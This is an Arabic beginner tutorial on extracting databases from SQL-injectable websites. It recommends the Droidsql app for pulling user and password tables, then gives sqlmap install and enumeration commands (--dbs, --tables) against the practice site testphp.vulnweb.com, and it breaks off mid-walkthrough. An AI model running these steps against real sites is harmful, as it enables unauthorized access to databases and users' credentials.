الطريقه الاولي عن طريق تطبيق Droidsql
سهل جدا التعامل معاه
فقط حط الموقع المصاب و بعدها هو راح يطالع لك الجداول و اختر جدول user و password


ما راح اشرح عنه كثير لانه للمبتدئين

فقط تضع الموقع المصاب تستني يطلع لك الموقع المصاب

صور توضح + صورة من التطبيق

هاد التطبيق👇المستخدم

ضع الرابط الموقع المصاب يستخرج لك database تبع الموقع

كدا انتهينا من الطريقه الاولي

عن طريق اداه sqlmap

اول شي اوامر تثبيت الاداه ...

اداه sqlmap


• git clone https://github.com/sqlmapproject/sqlmap.git

• cd sqlmap
ثم نقوم بكتابة امر
• python2 sqlmap.py -h

#CS

بعد ان قمنا بتثبيت الاداه راح نبدا نستخدمها علي موقعنا الاول و لي قمنا بفحصه و هاد هو

http://testphp.vulnweb.com/listproducts.php?cat=1

في بعض الأحيان ، يساعد استخدام -time-sec على تسريع العملية ، خاصةً عندما تكون استجابات الخادم بطيئة.

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --time-sec 15

جلب اسم ال database او قواعد البيانات تبع الموقع عن طريق الامر

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs

كما موضح بالصورة التاليه

اسم الداتا بيز تبع الموقع acuart

بعد طلعنا اسم الداتا بيز راح نطلع اسماء الجداول الموجوده بالموقع و ذلك عن طريق الامر التالي

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables